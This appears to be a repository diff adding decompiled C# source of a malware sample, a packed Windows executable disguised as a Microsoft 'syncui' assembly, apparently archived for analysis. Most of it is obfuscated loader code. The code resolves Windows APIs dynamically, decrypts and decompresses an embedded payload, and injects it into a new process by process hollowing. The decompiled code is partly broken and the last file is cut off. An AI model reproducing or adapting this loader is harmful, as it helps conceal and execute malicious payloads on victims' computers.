auto-decompiled msil via petikvx

add

MSIL/Packed/Win32/C/Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5/+.cs

@@ -0,0 +1,14 @@
+// Decompiled with JetBrains decompiler
+// Type: +
+// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8C369EE2-0F8E-40F6-BD9C-ED440A7013AE
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.exe
+
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+[SuppressIldasm]
+[StructLayout(LayoutKind.Explicit, Size = 182, Pack = 1)]
+private struct 
+{
+}

MSIL/Packed/Win32/C/Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5/-.cs

@@ -0,0 +1,79 @@
+// Decompiled with JetBrains decompiler
+// Type: -
+// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8C369EE2-0F8E-40F6-BD9C-ED440A7013AE
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.exe
+
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Text;
+
+[SuppressIldasm]
+[StructLayout(LayoutKind.Auto, CharSet = CharSet.Auto)]
+internal sealed class \u002D
+{
+  internal static \u002D.\u002A \u0040;
+  internal static byte[] \u0040;
+  internal static string[] \u0040;
+
+  private static string \u0040([In] int obj0, [In] int obj1, [In] int obj2)
+  {
+    if (false)
+      ;
+    string str = Encoding.Default.GetString(\u002D.\u0040, obj1, obj2);
+    \u002D.\u0040[obj0] = str;
+    return str;
+  }
+
+  public static string \u0040()
+  {
+    if (false)
+      ;
+    return \u002D.\u0040[0] ?? \u002D.\u0040(0, 0, 27);
+  }
+
+  static \u002D()
+  {
+    if (false)
+      ;
+    \u002D.\u0040 = new string[1];
+    \u002D.\u0040 = new byte[27]
+    {
+      (byte) 242,
+      (byte) 249,
+      (byte) 237,
+      (byte) 225,
+      (byte) 240,
+      (byte) 237,
+      (byte) 169,
+      (byte) 214,
+      (byte) 251,
+      (byte) 231,
+      (byte) 251,
+      (byte) 239,
+      byte.MaxValue,
+      (byte) 248,
+      (byte) 230,
+      (byte) 235,
+      (byte) 226,
+      (byte) 190,
+      (byte) 193,
+      (byte) 247,
+      (byte) 230,
+      (byte) 251,
+      (byte) 226,
+      (byte) 228,
+      (byte) 250,
+      (byte) 253,
+      (byte) 232
+    };
+    for (int index = 0; index < \u002D.\u0040.Length; ++index)
+      \u002D.\u0040[index] = (byte) ((int) \u002D.\u0040[index] ^ index ^ 319987073);
+  }
+
+  [SuppressIldasm]
+  [StructLayout(LayoutKind.Explicit, Size = 27, Pack = 1)]
+  private struct \u002A
+  {
+  }
+}

MSIL/Packed/Win32/C/Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5/0.cs

@@ -0,0 +1,63 @@
+// Decompiled with JetBrains decompiler
+// Type: 0
+// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8C369EE2-0F8E-40F6-BD9C-ED440A7013AE
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.exe
+
+using System;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+[SuppressIldasm]
+internal sealed class \u0030 : \u007C
+{
+  private \u0030.\u003F \u0025;
+  private \u0030.\u00AC \u005E;
+  private \u0030.\u003A \u0026;
+  private \u0030.\u003B \u002A;
+
+  public \u0030()
+  {
+    if (false)
+      ;
+    // ISSUE: explicit constructor call
+    base.\u002Ector();
+    \u0026.\u0040 = (\u007C) new \u003D();
+    this.\u0025 = (\u0030.\u003F) \u0026.\u0040.\u0040((object) .(), (object) .(), (object) typeof (\u0030.\u003F));
+    this.\u005E = (\u0030.\u00AC) \u0026.\u0040.\u0040((object) .(), (object) .(), (object) typeof (\u0030.\u00AC));
+    this.\u0026 = (\u0030.\u003A) \u0026.\u0040.\u0040((object) .(), (object) .(), (object) typeof (\u0030.\u003A));
+    this.\u002A = (\u0030.\u003B) \u0026.\u0040.\u0040((object) .(), (object) .(), (object) typeof (\u0030.\u003B));
+  }
+
+  public override object \u0040(params object[] _param1)
+  {
+    if (false)
+      ;
+    byte[] destination = new byte[0];
+    try
+    {
+      IntPtr num = this.\u0025(IntPtr.Zero, (IntPtr) (int) _param1[0], (IntPtr) 4);
+      IntPtr source = this.\u0026(this.\u005E(IntPtr.Zero, num));
+      int length = this.\u002A(IntPtr.Zero, num);
+      destination = new byte[length];
+      Marshal.Copy(source, destination, 0, length);
+    }
+    catch
+    {
+      return (object) destination;
+    }
+    return (object) destination;
+  }
+
+  [SuppressIldasm]
+  private delegate IntPtr \u00AC([In] IntPtr obj0, [In] IntPtr obj1);
+
+  [SuppressIldasm]
+  private delegate IntPtr \u003F([In] IntPtr obj0, [In] IntPtr obj1, [In] IntPtr obj2);
+
+  [SuppressIldasm]
+  private delegate int \u003B([In] IntPtr obj0, [In] IntPtr obj1);
+
+  [SuppressIldasm]
+  private delegate IntPtr \u003A([In] IntPtr obj0);
+}

MSIL/Packed/Win32/C/Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5/1.cs

@@ -0,0 +1,43 @@
+// Decompiled with JetBrains decompiler
+// Type: 1
+// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8C369EE2-0F8E-40F6-BD9C-ED440A7013AE
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.exe
+
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+
+[SuppressIldasm]
+internal sealed class \u0031 : \u007C
+{
+  public \u0031()
+  {
+    if (false)
+      ;
+    // ISSUE: explicit constructor call
+    base.\u002Ector();
+  }
+
+  public override object \u0040(params object[] _param1)
+  {
+    if (false)
+      ;
+    \u0026.\u0040 = (\u007C) new \u0030();
+    byte[] numArray1 = (byte[]) \u0026.\u0040.\u0040((object) 100);
+    byte[] numArray2 = (byte[]) \u0026.\u0040.\u0040((object) 101);
+    if (numArray1.Length <= 0 || numArray2.Length <= 0)
+      return (object) null;
+    \u0026.\u0040 = (\u007C) new \u002B();
+    byte[] numArray3 = (byte[]) \u0026.\u0040.\u0040((object) numArray2, (object) numArray1);
+    if (numArray3.Length <= 0)
+      return (object) null;
+    if (_param1.Length <= 0)
+    {
+      _param1 = new object[1];
+      _param1[0] = (object) new string[1];
+    }
+    \u0026.\u0040 = (\u007C) new \u005E();
+    \u0026.\u0040.\u0040((object) numArray3, (object) (string[]) _param1[0], (object) Process.GetCurrentProcess().MainModule.FileName);
+    return (object) null;
+  }
+}

MSIL/Packed/Win32/C/Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5/2.cs

@@ -0,0 +1,42 @@
+// Decompiled with JetBrains decompiler
+// Type: 2
+// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8C369EE2-0F8E-40F6-BD9C-ED440A7013AE
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.exe
+
+using System.IO;
+using System.IO.Compression;
+using System.Runtime.CompilerServices;
+
+[SuppressIldasm]
+internal sealed class \u0032 : \u007C
+{
+  public \u0032()
+  {
+    if (false)
+      ;
+    // ISSUE: explicit constructor call
+    base.\u002Ector();
+  }
+
+  public override object \u0040(params object[] _param1)
+  {
+    if (false)
+      ;
+    MemoryStream memoryStream1 = new MemoryStream((byte[]) _param1[0]);
+    MemoryStream memoryStream2 = new MemoryStream();
+    byte[] buffer = new byte[1024];
+    using (DeflateStream deflateStream = new DeflateStream((Stream) memoryStream1, CompressionMode.Decompress, true))
+    {
+      while (true)
+      {
+        int count = deflateStream.Read(buffer, 0, buffer.Length);
+        if (count > 0)
+          memoryStream2.Write(buffer, 0, count);
+        else
+          break;
+      }
+    }
+    return (object) memoryStream2.ToArray();
+  }
+}

MSIL/Packed/Win32/C/Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5/3.cs

@@ -0,0 +1,28 @@
+// Decompiled with JetBrains decompiler
+// Type: 3
+// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8C369EE2-0F8E-40F6-BD9C-ED440A7013AE
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.exe
+
+using System.Runtime.CompilerServices;
+using System.Security.Cryptography;
+
+[SuppressIldasm]
+internal sealed class \u0033 : \u007C
+{
+  public \u0033()
+  {
+    if (false)
+      ;
+    // ISSUE: explicit constructor call
+    base.\u002Ector();
+  }
+
+  public override object \u0040(params object[] _param1)
+  {
+    if (false)
+      ;
+    Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes((string) _param1[1], new byte[8]);
+    return (object) new RijndaelManaged().CreateDecryptor(rfc2898DeriveBytes.GetBytes(32), rfc2898DeriveBytes.GetBytes(16)).TransformFinalBlock((byte[]) _param1[0], 0, ((byte[]) _param1[0]).Length);
+  }
+}

MSIL/Packed/Win32/C/Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5/=.cs

@@ -0,0 +1,34 @@
+// Decompiled with JetBrains decompiler
+// Type: =
+// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8C369EE2-0F8E-40F6-BD9C-ED440A7013AE
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.exe
+
+using System;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+[SuppressIldasm]
+internal sealed class \u003D : \u007C
+{
+  public \u003D()
+  {
+    if (false)
+      ;
+    // ISSUE: explicit constructor call
+    base.\u002Ector();
+  }
+
+  public override object \u0040(params object[] _param1)
+  {
+    if (false)
+      ;
+    return (object) Marshal.GetDelegateForFunctionPointer(\u003D.\u000E6(\u003D.\u0008\u000Ad\u0016((string) _param1[0]), (string) _param1[1]), (Type) _param1[2]);
+  }
+
+  [DllImport("kernel32", EntryPoint = "LoadLibrary")]
+  private static extern IntPtr \u0008\u000Ad\u0016([In] string obj0);
+
+  [DllImport("kernel32", EntryPoint = "GetProcAddress")]
+  private static extern IntPtr \u000E6([In] IntPtr obj0, [In] string obj1);
+}

MSIL/Packed/Win32/C/Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5/@.cs

@@ -0,0 +1,63 @@
+// Decompiled with JetBrains decompiler
+// Type: @
+// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8C369EE2-0F8E-40F6-BD9C-ED440A7013AE
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.exe
+
+using System.CodeDom.Compiler;
+using System.Diagnostics;
+using System.Globalization;
+using System.Resources;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
+[CompilerGenerated]
+[DebuggerNonUserCode]
+[SuppressIldasm]
+internal sealed class \u0040
+{
+  private static ResourceManager \u0040;
+  private static CultureInfo \u003A;
+
+  internal \u0040()
+  {
+    if (false)
+      ;
+    // ISSUE: explicit constructor call
+    base.\u002Ector();
+  }
+
+  [SpecialName]
+  internal static ResourceManager \u0040()
+  {
+    if (false)
+      ;
+    // ISSUE: reference to a compiler-generated field
+    if (object.ReferenceEquals((object) \u0040.\u0040, (object) null))
+    {
+      // ISSUE: reference to a compiler-generated field
+      \u0040.\u0040 = new ResourceManager(\u002D.\u0040(), typeof (\u0040).Assembly);
+    }
+    // ISSUE: reference to a compiler-generated field
+    return \u0040.\u0040;
+  }
+
+  [SpecialName]
+  internal static CultureInfo \u003A()
+  {
+    if (false)
+      ;
+    // ISSUE: reference to a compiler-generated field
+    return \u0040.\u003A;
+  }
+
+  [SpecialName]
+  internal static void \u0040([In] CultureInfo obj0)
+  {
+    if (false)
+      ;
+    // ISSUE: reference to a compiler-generated field
+    \u0040.\u003A = obj0;
+  }
+}

MSIL/Packed/Win32/C/Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5/@.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

MSIL/Packed/Win32/C/Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5/AssemblyInfo.cs

@@ -0,0 +1,19 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Security.Permissions;
+
+[assembly: Guid("3c0f2080-510a-4834-a1b6-c4dd6b4c4bff")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
+[assembly: AssemblyTrademark("")]
+[assembly: ComVisible(false)]
+[assembly: AssemblyCopyright("Copyright © Microsoft 2010")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyProduct("syncui")]
+[assembly: AssemblyTitle("syncui")]
+[assembly: AssemblyCompany("Microsoft")]
+[assembly: AssemblyDescription("")]
+[assembly: Discardable]
+[assembly: SuppressIldasm]
+[assembly: AssemblyVersion("1.0.0.0")]
+[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]

MSIL/Packed/Win32/C/Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5/Packed.Win32.CPEX-based.ht.csproj

@@ -0,0 +1,57 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{58A6613A-7D9C-42DC-ADC8-D5C61776676D}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>syncui</AssemblyName>
+    <ApplicationVersion>1.0.0.0</ApplicationVersion>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+    <AllowUnsafeBlocks>true</AllowUnsafeBlocks>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+    <AllowUnsafeBlocks>true</AllowUnsafeBlocks>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="System" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="_003CModule_003E.cs" />
+    <Compile Include="-.cs" />
+    <Compile Include="_0026.cs" />
+    <Compile Include="^.cs" />
+    <Compile Include="_007C.cs" />
+    <Compile Include="3.cs" />
+    <Compile Include="2.cs" />
+    <Compile Include="1.cs" />
+    <Compile Include="0.cs" />
+    <Compile Include="+.cs" />
+    <Compile Include="=.cs" />
+    <Compile Include="@.cs" />
+    <Compile Include="n(EWZ_0009\7_0017[_000C\7.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include=".resx" />
+    <EmbeddedResource Include="@.resx" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Packed/Win32/C/Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5/Packed.Win32.CPEX-based.ht.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "syncui", "Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.csproj", "{58A6613A-7D9C-42DC-ADC8-D5C61776676D}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{58A6613A-7D9C-42DC-ADC8-D5C61776676D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{58A6613A-7D9C-42DC-ADC8-D5C61776676D}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{58A6613A-7D9C-42DC-ADC8-D5C61776676D}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{58A6613A-7D9C-42DC-ADC8-D5C61776676D}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Packed/Win32/C/Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5/^.cs

@@ -0,0 +1,142 @@
+// Decompiled with JetBrains decompiler
+// Type: ^
+// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8C369EE2-0F8E-40F6-BD9C-ED440A7013AE
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.exe
+
+using System;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+[SuppressIldasm]
+internal sealed class \u005E : \u007C
+{
+  private const uint \u0040 = 65543;
+  private const uint \u003A = 4;
+  private const uint \u003B = 64;
+  private const uint \u003F = 4096;
+  private const uint \u00AC = 8192;
+  private \u005E.\u003C \u007C;
+  private \u005E.\u003E \u002F;
+  private \u005E.\u0025 \u003C;
+  private \u005E.\u00A3 \u003E;
+  private \u005E.\u0021 \u00A3;
+  private \u005E.\u0024 \u0024;
+  private \u005E.\u002F \u0021;
+
+  public \u005E()
+  {
+    if (false)
+      ;
+    // ISSUE: explicit constructor call
+    base.\u002Ector();
+    \u0026.\u0040 = (\u007C) new \u003D();
+    this.\u007C = (\u005E.\u003C) \u0026.\u0040.\u0040((object) .(), (object) .(), (object) typeof (\u005E.\u003C));
+    this.\u002F = (\u005E.\u003E) \u0026.\u0040.\u0040((object) .(), (object) .(), (object) typeof (\u005E.\u003E));
+    this.\u003C = (\u005E.\u0025) \u0026.\u0040.\u0040((object) .(), (object) .(), (object) typeof (\u005E.\u0025));
+    this.\u003E = (\u005E.\u00A3) \u0026.\u0040.\u0040((object) .(), (object) .(), (object) typeof (\u005E.\u00A3));
+    this.\u00A3 = (\u005E.\u0021) \u0026.\u0040.\u0040((object) .(), (object) .(), (object) typeof (\u005E.\u0021));
+    this.\u0024 = (\u005E.\u0024) \u0026.\u0040.\u0040((object) .(), (object) .(), (object) typeof (\u005E.\u0024));
+    this.\u0021 = (\u005E.\u002F) \u0026.\u0040.\u0040((object) .(), (object) .(), (object) typeof (\u005E.\u002F));
+  }
+
+  public override unsafe object \u0040(params object[] _param1)
+  {
+    if (false)
+      ;
+    byte[] dst1 = new byte[64];
+    byte[] dst2 = new byte[248];
+    byte[] dst3 = new byte[40];
+    byte[] numArray1 = new byte[716];
+    int[] numArray2 = new int[4];
+    fixed (byte* numPtr = &dst1[0])
+      ;
+    fixed (byte* numPtr = &dst2[0])
+      ;
+    fixed (byte* numPtr = &dst3[0])
+      ;
+    fixed (byte* numPtr = &numArray1[0])
+      ;
+    string str = string.Join(Convert.ToChar(32).ToString(), (string[]) _param1[1]);
+    // ISSUE: fixed variable is out of scope
+    *(int*) numPtr = 65543;
+    Buffer.BlockCopy((Array) _param1[0], 0, (Array) dst1, 0, dst1.Length);
+    // ISSUE: fixed variable is out of scope
+    int srcOffset = *(int*) (numPtr + 60);
+    Buffer.BlockCopy((Array) _param1[0], srcOffset, (Array) dst2, 0, dst2.Length);
+    // ISSUE: fixed variable is out of scope
+    // ISSUE: fixed variable is out of scope
+    if (*(uint*) numPtr != 17744U || *(ushort*) numPtr != (ushort) 23117)
+      return (object) null;
+    // ISSUE: fixed variable is out of scope
+    int num1 = *(int*) (numPtr + 52);
+    if (!this.\u007C((string) _param1[2], str, IntPtr.Zero, IntPtr.Zero, false, 4U, IntPtr.Zero, (string) null, new byte[68], numArray2))
+      return (object) null;
+    int num2 = (int) this.\u003C((IntPtr) numArray2[0], (IntPtr) num1);
+    // ISSUE: fixed variable is out of scope
+    if (this.\u002F((IntPtr) numArray2[0], (IntPtr) num1, *(uint*) (numPtr + 80), 12288U, 64U) == IntPtr.Zero)
+      base.\u0040(_param1);
+    fixed (byte* numPtr1 = &((byte[]) _param1[0])[0])
+    {
+      // ISSUE: fixed variable is out of scope
+      int num3 = this.\u003E((IntPtr) numArray2[0], (IntPtr) num1, (IntPtr) (void*) numPtr1, *(uint*) (numPtr + 84), IntPtr.Zero);
+      // ISSUE: fixed variable is out of scope
+      for (ushort index = 0; (int) index < (int) *(ushort*) (numPtr + 6); ++index)
+      {
+        Buffer.BlockCopy((Array) _param1[0], srcOffset + dst2.Length + dst3.Length * (int) index, (Array) dst3, 0, dst3.Length);
+        // ISSUE: fixed variable is out of scope
+        fixed (byte* numPtr2 = &((byte[]) _param1[0])[(IntPtr) *(uint*) (numPtr + 20)])
+        {
+          // ISSUE: fixed variable is out of scope
+          // ISSUE: fixed variable is out of scope
+          int num4 = this.\u003E((IntPtr) numArray2[0], (IntPtr) ((long) num1 + (long) *(uint*) (numPtr + 12)), (IntPtr) (void*) numPtr2, *(uint*) (numPtr + 16), IntPtr.Zero);
+        }
+      }
+      // ISSUE: fixed variable is out of scope
+      int num5 = this.\u00A3((IntPtr) numArray2[1], (IntPtr) (void*) numPtr);
+      fixed (byte* numPtr3 = &BitConverter.GetBytes(num1)[0])
+      {
+        // ISSUE: fixed variable is out of scope
+        int num6 = this.\u003E((IntPtr) numArray2[0], (IntPtr) (long) (*(uint*) (numPtr + 164) + 8U), (IntPtr) (void*) numPtr3, 4U, IntPtr.Zero);
+      }
+      // ISSUE: fixed variable is out of scope
+      // ISSUE: fixed variable is out of scope
+      *(int*) (numPtr + 176) = num1 + (int) *(uint*) (numPtr + 40);
+      // ISSUE: fixed variable is out of scope
+      int num7 = this.\u0024((IntPtr) numArray2[1], (IntPtr) (void*) numPtr);
+      int num8 = (int) this.\u0021((IntPtr) numArray2[1], IntPtr.Zero);
+      return (object) null;
+    }
+  }
+
+  [SuppressIldasm]
+  private delegate uint \u0025([In] IntPtr obj0, [In] IntPtr obj1);
+
+  [SuppressIldasm]
+  private delegate int \u0021([In] IntPtr obj0, [In] IntPtr obj1);
+
+  [SuppressIldasm]
+  private delegate int \u0024([In] IntPtr obj0, [In] IntPtr obj1);
+
+  [SuppressIldasm]
+  private delegate int \u00A3([In] IntPtr obj0, [In] IntPtr obj1, [In] IntPtr obj2, [In] uint obj3, [In] IntPtr obj4);
+
+  [SuppressIldasm]
